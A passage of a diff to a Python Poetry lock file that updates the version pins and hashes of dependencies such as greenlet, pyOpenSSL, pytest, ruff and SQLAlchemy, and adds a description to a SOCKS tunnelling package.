"sha256:ecf94aa539e97a8411b5ea52fc6ccd8371be9550c4041011a091eb8b3ca1d810"}, - {file = "greenlet-3.0.0-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:80dcd3c938cbcac986c5c92779db8e8ce51a89a849c135172c88ecbdc8c056b7"}, - {file = "greenlet-3.0.0-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e52a712c38e5fb4fd68e00dc3caf00b60cb65634d50e32281a9d6431b33b4af1"}, - {file = "greenlet-3.0.0-cp37-cp37m-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d5539f6da3418c3dc002739cb2bb8d169056aa66e0c83f6bacae0cd3ac26b423"}, - {file = "greenlet-3.0.0-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:343675e0da2f3c69d3fb1e894ba0a1acf58f481f3b9372ce1eb465ef93cf6fed"}, - {file = "greenlet-3.0.0-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:abe1ef3d780de56defd0c77c5ba95e152f4e4c4e12d7e11dd8447d338b85a625"}, - {file = "greenlet-3.0.0-cp37-cp37m-win32.whl", hash = "sha256:e693e759e172fa1c2c90d35dea4acbdd1d609b6936115d3739148d5e4cd11947"}, - {file = "greenlet-3.0.0-cp37-cp37m-win_amd64.whl", hash = "sha256:bdd696947cd695924aecb3870660b7545a19851f93b9d327ef8236bfc49be705"}, - {file = "greenlet-3.0.0-cp37-universal2-macosx_11_0_x86_64.whl", hash = "sha256:cc3e2679ea13b4de79bdc44b25a0c4fcd5e94e21b8f290791744ac42d34a0353"}, - {file = "greenlet-3.0.0-cp38-cp38-macosx_11_0_universal2.whl", hash = "sha256:63acdc34c9cde42a6534518e32ce55c30f932b473c62c235a466469a710bfbf9"}, - {file = "greenlet-3.0.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4a1a6244ff96343e9994e37e5b4839f09a0207d35ef6134dce5c20d260d0302c"}, - {file = "greenlet-3.0.0-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:b822fab253ac0f330ee807e7485769e3ac85d5eef827ca224feaaefa462dc0d0"}, - {file = "greenlet-3.0.0-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:8060b32d8586e912a7b7dac2d15b28dbbd63a174ab32f5bc6d107a1c4143f40b"}, - {file = "greenlet-3.0.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:621fcb346141ae08cb95424ebfc5b014361621b8132c48e538e34c3c93ac7365"}, - {file = "greenlet-3.0.0-cp38-cp38-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:6bb36985f606a7c49916eff74ab99399cdfd09241c375d5a820bb855dfb4af9f"}, - {file = "greenlet-3.0.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:10b5582744abd9858947d163843d323d0b67be9432db50f8bf83031032bc218d"}, - {file = "greenlet-3.0.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:f351479a6914fd81a55c8e68963609f792d9b067fb8a60a042c585a621e0de4f"}, - {file = "greenlet-3.0.0-cp38-cp38-win32.whl", hash = "sha256:9de687479faec7db5b198cc365bc34addd256b0028956501f4d4d5e9ca2e240a"}, - {file = "greenlet-3.0.0-cp38-cp38-win_amd64.whl", hash = "sha256:3fd2b18432e7298fcbec3d39e1a0aa91ae9ea1c93356ec089421fabc3651572b"}, - {file = "greenlet-3.0.0-cp38-universal2-macosx_11_0_x86_64.whl", hash = "sha256:3c0d36f5adc6e6100aedbc976d7428a9f7194ea79911aa4bf471f44ee13a9464"}, - {file = "greenlet-3.0.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:4cd83fb8d8e17633ad534d9ac93719ef8937568d730ef07ac3a98cb520fd93e4"}, - {file = "greenlet-3.0.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6a5b2d4cdaf1c71057ff823a19d850ed5c6c2d3686cb71f73ae4d6382aaa7a06"}, - {file = "greenlet-3.0.0-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:2e7dcdfad252f2ca83c685b0fa9fba00e4d8f243b73839229d56ee3d9d219314"}, - {file = "greenlet-3.0.0-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:c94e4e924d09b5a3e37b853fe5924a95eac058cb6f6fb437ebb588b7eda79870"}, - {file = "greenlet-3.0.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ad6fb737e46b8bd63156b8f59ba6cdef46fe2b7db0c5804388a2d0519b8ddb99"}, - {file = "greenlet-3.0.0-cp39-cp39-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d55db1db455c59b46f794346efce896e754b8942817f46a1bada2d29446e305a"}, - {file = "greenlet-3.0.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:56867a3b3cf26dc8a0beecdb4459c59f4c47cdd5424618c08515f682e1d46692"}, - {file = "greenlet-3.0.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:9a812224a5fb17a538207e8cf8e86f517df2080c8ee0f8c1ed2bdaccd18f38f4"}, - {file = "greenlet-3.0.0-cp39-cp39-win32.whl", hash = "sha256:0d3f83ffb18dc57243e0151331e3c383b05e5b6c5029ac29f754745c800f8ed9"}, - {file = "greenlet-3.0.0-cp39-cp39-win_amd64.whl", hash = "sha256:831d6f35037cf18ca5e80a737a27d822d87cd922521d18ed3dbc8a6967be50ce"}, - {file = "greenlet-3.0.0-cp39-universal2-macosx_11_0_x86_64.whl", hash = "sha256:a048293392d4e058298710a54dfaefcefdf49d287cd33fb1f7d63d55426e4355"}, - {file = "greenlet-3.0.0.tar.gz", hash = "sha256:19834e3f91f485442adc1ee440171ec5d9a4840a1f7bd5ed97833544719ce10b"}, + {file = "greenlet-3.0.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:f89e21afe925fcfa655965ca8ea10f24773a1791400989ff32f467badfe4a064"}, + {file = "greenlet-3.0.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:28e89e232c7593d33cac35425b58950789962011cc274aa43ef8865f2e11f46d"}, + {file = "greenlet-3.0.1-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:b8ba29306c5de7717b5761b9ea74f9c72b9e2b834e24aa984da99cbfc70157fd"}, + {file = "greenlet-3.0.1-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:19bbdf1cce0346ef7341705d71e2ecf6f41a35c311137f29b8a2dc2341374565"}, + {file = "greenlet-3.0.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:599daf06ea59bfedbec564b1692b0166a0045f32b6f0933b0dd4df59a854caf2"}, + {file = "greenlet-3.0.1-cp310-cp310-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:b641161c302efbb860ae6b081f406839a8b7d5573f20a455539823802c655f63"}, + {file = "greenlet-3.0.1-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:d57e20ba591727da0c230ab2c3f200ac9d6d333860d85348816e1dca4cc4792e"}, + {file = "greenlet-3.0.1-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:5805e71e5b570d490938d55552f5a9e10f477c19400c38bf1d5190d760691846"}, + {file = "greenlet-3.0.1-cp310-cp310-win_amd64.whl", hash = "sha256:52e93b28db27ae7d208748f45d2db8a7b6a380e0d703f099c949d0f0d80b70e9"}, + {file = "greenlet-3.0.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:f7bfb769f7efa0eefcd039dd19d843a4fbfbac52f1878b1da2ed5793ec9b1a65"}, + {file = "greenlet-3.0.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:91e6c7db42638dc45cf2e13c73be16bf83179f7859b07cfc139518941320be96"}, + {file = "greenlet-3.0.1-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:1757936efea16e3f03db20efd0cd50a1c86b06734f9f7338a90c4ba85ec2ad5a"}, + {file = "greenlet-3.0.1-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:19075157a10055759066854a973b3d1325d964d498a805bb68a1f9af4aaef8ec"}, + {file = "greenlet-3.0.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e9d21aaa84557d64209af04ff48e0ad5e28c5cca67ce43444e939579d085da72"}, + {file = "greenlet-3.0.1-cp311-cp311-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:2847e5d7beedb8d614186962c3d774d40d3374d580d2cbdab7f184580a39d234"}, + {file = "greenlet-3.0.1-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:97e7ac860d64e2dcba5c5944cfc8fa9ea185cd84061c623536154d5a89237884"}, + {file = "greenlet-3.0.1-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:b2c02d2ad98116e914d4f3155ffc905fd0c025d901ead3f6ed07385e19122c94"}, + {file = "greenlet-3.0.1-cp311-cp311-win_amd64.whl", hash = "sha256:22f79120a24aeeae2b4471c711dcf4f8c736a2bb2fabad2a67ac9a55ea72523c"}, + {file = "greenlet-3.0.1-cp312-cp312-macosx_10_9_universal2.whl", hash = "sha256:100f78a29707ca1525ea47388cec8a049405147719f47ebf3895e7509c6446aa"}, + {file = "greenlet-3.0.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:60d5772e8195f4e9ebf74046a9121bbb90090f6550f81d8956a05387ba139353"}, + {file = "greenlet-3.0.1-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:daa7197b43c707462f06d2c693ffdbb5991cbb8b80b5b984007de431493a319c"}, + {file = "greenlet-3.0.1-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:ea6b8aa9e08eea388c5f7a276fabb1d4b6b9d6e4ceb12cc477c3d352001768a9"}, + {file = "greenlet-3.0.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8d11ebbd679e927593978aa44c10fc2092bc454b7d13fdc958d3e9d508aba7d0"}, + {file = "greenlet-3.0.1-cp312-cp312-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:dbd4c177afb8a8d9ba348d925b0b67246147af806f0b104af4d24f144d461cd5"}, + {file = "greenlet-3.0.1-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:20107edf7c2c3644c67c12205dc60b1bb11d26b2610b276f97d666110d1b511d"}, + {file = "greenlet-3.0.1-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:8bef097455dea90ffe855286926ae02d8faa335ed8e4067326257cb571fc1445"}, + {file = "greenlet-3.0.1-cp312-cp312-win_amd64.whl", hash = "sha256:b2d3337dcfaa99698aa2377c81c9ca72fcd89c07e7eb62ece3f23a3fe89b2ce4"}, + {file = "greenlet-3.0.1-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:80ac992f25d10aaebe1ee15df45ca0d7571d0f70b645c08ec68733fb7a020206"}, + {file = "greenlet-3.0.1-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:337322096d92808f76ad26061a8f5fccb22b0809bea39212cd6c406f6a7060d2"}, + {file = "greenlet-3.0.1-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b9934adbd0f6e476f0ecff3c94626529f344f57b38c9a541f87098710b18af0a"}, + {file = "greenlet-3.0.1-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dc4d815b794fd8868c4d67602692c21bf5293a75e4b607bb92a11e821e2b859a"}, + {file = "greenlet-3.0.1-cp37-cp37m-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:41bdeeb552d814bcd7fb52172b304898a35818107cc8778b5101423c9017b3de"}, + {file = "greenlet-3.0.1-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:6e6061bf1e9565c29002e3c601cf68569c450be7fc3f7336671af7ddb4657166"}, + {file = "greenlet-3.0.1-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:fa24255ae3c0ab67e613556375a4341af04a084bd58764731972bcbc8baeba36"}, + {file = "greenlet-3.0.1-cp37-cp37m-win32.whl", hash = "sha256:b489c36d1327868d207002391f662a1d163bdc8daf10ab2e5f6e41b9b96de3b1"}, + {file = "greenlet-3.0.1-cp37-cp37m-win_amd64.whl", hash = "sha256:f33f3258aae89da191c6ebaa3bc517c6c4cbc9b9f689e5d8452f7aedbb913fa8"}, + {file = "greenlet-3.0.1-cp38-cp38-macosx_11_0_universal2.whl", hash = "sha256:d2905ce1df400360463c772b55d8e2518d0e488a87cdea13dd2c71dcb2a1fa16"}, + {file = "greenlet-3.0.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0a02d259510b3630f330c86557331a3b0e0c79dac3d166e449a39363beaae174"}, + {file = "greenlet-3.0.1-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:55d62807f1c5a1682075c62436702aaba941daa316e9161e4b6ccebbbf38bda3"}, + {file = "greenlet-3.0.1-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:3fcc780ae8edbb1d050d920ab44790201f027d59fdbd21362340a85c79066a74"}, + {file = "greenlet-3.0.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4eddd98afc726f8aee1948858aed9e6feeb1758889dfd869072d4465973f6bfd"}, + {file = "greenlet-3.0.1-cp38-cp38-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:eabe7090db68c981fca689299c2d116400b553f4b713266b130cfc9e2aa9c5a9"}, + {file = "greenlet-3.0.1-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:f2f6d303f3dee132b322a14cd8765287b8f86cdc10d2cb6a6fae234ea488888e"}, + {file = "greenlet-3.0.1-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:d923ff276f1c1f9680d32832f8d6c040fe9306cbfb5d161b0911e9634be9ef0a"}, + {file = "greenlet-3.0.1-cp38-cp38-win32.whl", hash = "sha256:0b6f9f8ca7093fd4433472fd99b5650f8a26dcd8ba410e14094c1e44cd3ceddd"}, + {file = "greenlet-3.0.1-cp38-cp38-win_amd64.whl", hash = "sha256:990066bff27c4fcf3b69382b86f4c99b3652bab2a7e685d968cd4d0cfc6f67c6"}, + {file = "greenlet-3.0.1-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:ce85c43ae54845272f6f9cd8320d034d7a946e9773c693b27d620edec825e376"}, + {file = "greenlet-3.0.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:89ee2e967bd7ff85d84a2de09df10e021c9b38c7d91dead95b406ed6350c6997"}, + {file = "greenlet-3.0.1-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:87c8ceb0cf8a5a51b8008b643844b7f4a8264a2c13fcbcd8a8316161725383fe"}, + {file = "greenlet-3.0.1-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:d6a8c9d4f8692917a3dc7eb25a6fb337bff86909febe2f793ec1928cd97bedfc"}, + {file = "greenlet-3.0.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9fbc5b8f3dfe24784cee8ce0be3da2d8a79e46a276593db6868382d9c50d97b1"}, + {file = "greenlet-3.0.1-cp39-cp39-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:85d2b77e7c9382f004b41d9c72c85537fac834fb141b0296942d52bf03fe4a3d"}, + {file = "greenlet-3.0.1-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:696d8e7d82398e810f2b3622b24e87906763b6ebfd90e361e88eb85b0e554dc8"}, + {file = "greenlet-3.0.1-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:329c5a2e5a0ee942f2992c5e3ff40be03e75f745f48847f118a3cfece7a28546"}, + {file = "greenlet-3.0.1-cp39-cp39-win32.whl", hash = "sha256:cf868e08690cb89360eebc73ba4be7fb461cfbc6168dd88e2fbbe6f31812cd57"}, + {file = "greenlet-3.0.1-cp39-cp39-win_amd64.whl", hash = "sha256:ac4a39d1abae48184d420aa8e5e63efd1b75c8444dd95daa3e03f6c6310e9619"}, + {file = "greenlet-3.0.1.tar.gz", hash = "sha256:816bd9488a94cba78d93e1abb58000e8266fa9cc2aa9ccdd6eb0696acb24005b"}, ] [package.extras] @@ -1844,20 +1839,20 @@ rsa = ["cryptography"] [[package]] name = "pyopenssl" -version = "23.2.0" +version = "23.3.0" description = "Python wrapper module around the OpenSSL library" optional = false -python-versions = ">=3.6" +python-versions = ">=3.7" files = [ - {file = "pyOpenSSL-23.2.0-py3-none-any.whl", hash = "sha256:24f0dc5227396b3e831f4c7f602b950a5e9833d292c8e4a2e06b709292806ae2"}, - {file = "pyOpenSSL-23.2.0.tar.gz", hash = "sha256:276f931f55a452e7dea69c7173e984eb2a4407ce413c918aa34b55f82f9b8bac"}, + {file = "pyOpenSSL-23.3.0-py3-none-any.whl", hash = "sha256:6756834481d9ed5470f4a9393455154bc92fe7a64b7bc6ee2c804e78c52099b2"}, + {file = "pyOpenSSL-23.3.0.tar.gz", hash = "sha256:6b2cba5cc46e822750ec3e5a81ee12819850b11303630d575e98108a079c2b12"}, ] [package.dependencies] -cryptography = ">=38.0.0,<40.0.0 || >40.0.0,<40.0.1 || >40.0.1,<42" +cryptography = ">=41.0.5,<42" [package.extras] -docs = ["sphinx (!=5.2.0,!=5.2.0.post0)", "sphinx-rtd-theme"] +docs = ["sphinx (!=5.2.0,!=5.2.0.post0,!=7.2.5)", "sphinx-rtd-theme"] test = ["flaky", "pretend", "pytest (>=3.0.1)"] [[package]] @@ -1902,7 +1897,7 @@ test = ["flake8", "isort", "pytest"] [[package]] name = "PySecretSOCKS" version = "0.9.1" -description = "" +description = "A python SOCKS server for tunneling connections over another channel. Making implementing covert channels a breeze!" optional = false python-versions = "*" files = [] @@ -1919,13 +1914,13 @@ resolved_reference = "da5be0e48f82097044894247343cef2111f13c7a" [[package]] name = "pytest" -version = "7.4.2" +version = "7.4.3" description = "pytest: simple powerful testing with Python" optional = false python-versions = ">=3.7" files = [ - {file = "pytest-7.4.2-py3-none-any.whl", hash = "sha256:1d881c6124e08ff0a1bb75ba3ec0bfd8b5354a01c194ddd5a0a870a48d99b002"}, - {file = "pytest-7.4.2.tar.gz", hash = "sha256:a766259cfab564a2ad52cb1aae1b881a75c3eb7e34ca3779697c23ed47c47069"}, + {file = "pytest-7.4.3-py3-none-any.whl", hash = "sha256:0d009c083ea859a71b76adf7c1d502e4bc170b80a8ef002da5806527b9591fac"}, + {file = "pytest-7.4.3.tar.gz", hash = "sha256:d989d136982de4e3b29dabcc838ad581c64e8ed52c11fbe86ddebd9da0818cd5"}, ] [package.dependencies] @@ -2287,28 +2282,28 @@ pyasn1 = ">=0.1.3" [[package]] name = "ruff" -version = "0.0.283" -description = "An extremely fast Python linter, written in Rust." +version = "0.1.4" +description = "An extremely fast Python linter and code formatter, written in Rust." optional = false python-versions = ">=3.7" files = [ - {file = "ruff-0.0.283-py3-none-macosx_10_7_x86_64.whl", hash = "sha256:d59615628b43c40b8335af0fafd544b3a09e9891829461fa2eb0d67f00570df5"}, - {file = "ruff-0.0.283-py3-none-macosx_10_9_x86_64.macosx_11_0_arm64.macosx_10_9_universal2.whl", hash = "sha256:742d3c09bb4272d92fcd0a01a203d837488060280c28a42461e166226651a12a"}, - {file = "ruff-0.0.283-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:03622378270a37c61bb0f430c29f41bdf0699e8791d0d7548ad5745c737723fb"}, - {file = "ruff-0.0.283-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:a4d36f0b3beecc01b50933795da718347ee442afa14cced5a60afe20e8335d24"}, - {file = "ruff-0.0.283-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d21b29dc63d8ec246207dd7115ec39814ca74ee0f0f7b261aa82fb9c1cd8dfcf"}, - {file = "ruff-0.0.283-py3-none-manylinux_2_17_ppc64.manylinux2014_ppc64.whl", hash = "sha256:fe095f2c3e8e557f2709945d611efd476b3eb39bdec5b258b2f88cfb8b5d136d"}, - {file = "ruff-0.0.283-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:b773f1dc57e642f707ee0e8bd68a0bc5ec95441367166a276e5dfdf88b21e1bf"}, - {file = "ruff-0.0.283-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:d539c73e207a13a915bde6c52ae8b2beb0b00c3b975e9e5d808fe288ea354a72"}, - {file = "ruff-0.0.283-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e43d3ab5c0bdb7b7a045411773b18ed115f0590a30c8d267c484393c6b0486ba"}, - {file = "ruff-0.0.283-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:c5d72c97daa72f8914bf1b0c0ae4dbffc999e1945c291fa2d37c02ee4fa7f398"}, - {file = "ruff-0.0.283-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:c32eb49ecf190a7bec0305270c864f796b362027b39a7d49c6fb120ea75e7b52"}, - {file = "ruff-0.0.283-py3-none-musllinux_1_2_i686.whl", hash = "sha256:b1eae6990b078883c0cae60f1df0c31d2071f20afcec285baa363b9b6f7321cf"}, - {file = "ruff-0.0.283-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:ad5a3042cbae1b82c3c953be77181a0934a6b02ba476fec4f177eb9c297e19ed"}, - {file = "ruff-0.0.283-py3-none-win32.whl", hash = "sha256:bd64f9775d96f35a236980ac98ed50fb5c755b227845612a873ad4f247c0cf8d"}, - {file = "ruff-0.0.283-py3-none-win_amd64.whl", hash = "sha256:28e3545ff24ae44e13da2b8fc706dd62a374cc74e4f5c1fbc8bc071ab0cc309f"}, - {file = "ruff-0.0.283-py3-none-win_arm64.whl", hash = "sha256:28732d956171f493b45c096d27f015e34fde065414330b68d59efcd0f3f67d5d"}, - {file = "ruff-0.0.283.tar.gz", hash = "sha256:6ee6928ad7b6b2b103d3b41517ff252cb81506dacbef01bab31fcfd0de39c5bb"}, + {file = "ruff-0.1.4-py3-none-macosx_10_7_x86_64.whl", hash = "sha256:864958706b669cce31d629902175138ad8a069d99ca53514611521f532d91495"}, + {file = "ruff-0.1.4-py3-none-macosx_10_9_x86_64.macosx_11_0_arm64.macosx_10_9_universal2.whl", hash = "sha256:9fdd61883bb34317c788af87f4cd75dfee3a73f5ded714b77ba928e418d6e39e"}, + {file = "ruff-0.1.4-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b4eaca8c9cc39aa7f0f0d7b8fe24ecb51232d1bb620fc4441a61161be4a17539"}, + {file = "ruff-0.1.4-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:a9a1301dc43cbf633fb603242bccd0aaa34834750a14a4c1817e2e5c8d60de17"}, + {file = "ruff-0.1.4-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:78e8db8ab6f100f02e28b3d713270c857d370b8d61871d5c7d1702ae411df683"}, + {file = "ruff-0.1.4-py3-none-manylinux_2_17_ppc64.manylinux2014_ppc64.whl", hash = "sha256:80fea754eaae06335784b8ea053d6eb8e9aac75359ebddd6fee0858e87c8d510"}, + {file = "ruff-0.1.4-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:6bc02a480d4bfffd163a723698da15d1a9aec2fced4c06f2a753f87f4ce6969c"}, + {file = "ruff-0.1.4-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9862811b403063765b03e716dac0fda8fdbe78b675cd947ed5873506448acea4"}, + {file = "ruff-0.1.4-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:58826efb8b3efbb59bb306f4b19640b7e366967a31c049d49311d9eb3a4c60cb"}, + {file = "ruff-0.1.4-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:fdfd453fc91d9d86d6aaa33b1bafa69d114cf7421057868f0b79104079d3e66e"}, + {file = "ruff-0.1.4-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:e8791482d508bd0b36c76481ad3117987301b86072158bdb69d796503e1c84a8"}, + {file = "ruff-0.1.4-py3-none-musllinux_1_2_i686.whl", hash = "sha256:01206e361021426e3c1b7fba06ddcb20dbc5037d64f6841e5f2b21084dc51800"}, + {file = "ruff-0.1.4-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:645591a613a42cb7e5c2b667cbefd3877b21e0252b59272ba7212c3d35a5819f"}, + {file = "ruff-0.1.4-py3-none-win32.whl", hash = "sha256:99908ca2b3b85bffe7e1414275d004917d1e0dfc99d497ccd2ecd19ad115fd0d"}, + {file = "ruff-0.1.4-py3-none-win_amd64.whl", hash = "sha256:1dfd6bf8f6ad0a4ac99333f437e0ec168989adc5d837ecd38ddb2cc4a2e3db8a"}, + {file = "ruff-0.1.4-py3-none-win_arm64.whl", hash = "sha256:d98ae9ebf56444e18a3e3652b3383204748f73e247dea6caaf8b52d37e6b32da"}, + {file = "ruff-0.1.4.tar.gz", hash = "sha256:21520ecca4cc555162068d87c747b8f95e1e95f8ecfcbbe59e8dd00710586315"}, ] [[package]] @@ -2499,60 +2494,60 @@ files = [ [[package]] name = "sqlalchemy" -version = "2.0.22" +version = "2.0.23" description = "Database Abstraction Library" optional = false python-versions = ">=3.7" files = [ - {file = "SQLAlchemy-2.0.22-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:f146c61ae128ab43ea3a0955de1af7e1633942c2b2b4985ac51cc292daf33222"}, - {file = "SQLAlchemy-2.0.22-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:875de9414393e778b655a3d97d60465eb3fae7c919e88b70cc10b40b9f56042d"}, - {file = "SQLAlchemy-2.0.22-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:13790cb42f917c45c9c850b39b9941539ca8ee7917dacf099cc0b569f3d40da7"}, - {file = "SQLAlchemy-2.0.22-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e04ab55cf49daf1aeb8c622c54d23fa4bec91cb051a43cc24351ba97e1dd09f5"}, - {file = "SQLAlchemy-2.0.22-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:a42c9fa3abcda0dcfad053e49c4f752eef71ecd8c155221e18b99d4224621176"}, - {file = "SQLAlchemy-2.0.22-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:14cd3bcbb853379fef2cd01e7c64a5d6f1d005406d877ed9509afb7a05ff40a5"}, - {file = "SQLAlchemy-2.0.22-cp310-cp310-win32.whl", hash = "sha256:d143c5a9dada696bcfdb96ba2de4a47d5a89168e71d05a076e88a01386872f97"}, - {file = "SQLAlchemy-2.0.22-cp310-cp310-win_amd64.whl", hash = "sha256:ccd87c25e4c8559e1b918d46b4fa90b37f459c9b4566f1dfbce0eb8122571547"}, - {file = "SQLAlchemy-2.0.22-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:4f6ff392b27a743c1ad346d215655503cec64405d3b694228b3454878bf21590"}, - {file = "SQLAlchemy-2.0.22-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:f776c2c30f0e5f4db45c3ee11a5f2a8d9de68e81eb73ec4237de1e32e04ae81c"}, - {file = "SQLAlchemy-2.0.22-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c8f1792d20d2f4e875ce7a113f43c3561ad12b34ff796b84002a256f37ce9437"}, - {file = "SQLAlchemy-2.0.22-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d80eeb5189d7d4b1af519fc3f148fe7521b9dfce8f4d6a0820e8f5769b005051"}, - {file = "SQLAlchemy-2.0.22-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:69fd9e41cf9368afa034e1c81f3570afb96f30fcd2eb1ef29cb4d9371c6eece2"}, - {file = "SQLAlchemy-2.0.22-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:54bcceaf4eebef07dadfde424f5c26b491e4a64e61761dea9459103ecd6ccc95"}, - {file = "SQLAlchemy-2.0.22-cp311-cp311-win32.whl", hash = "sha256:7ee7ccf47aa503033b6afd57efbac6b9e05180f492aeed9fcf70752556f95624"}, - {file = "SQLAlchemy-2.0.22-cp311-cp311-win_amd64.whl", hash = "sha256:b560f075c151900587ade06706b0c51d04b3277c111151997ea0813455378ae0"}, - {file = "SQLAlchemy-2.0.22-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:2c9bac865ee06d27a1533471405ad240a6f5d83195eca481f9fc4a71d8b87df8"}, - {file = "SQLAlchemy-2.0.22-cp312-cp312-macosx_11_0_arm64.whl", hash = 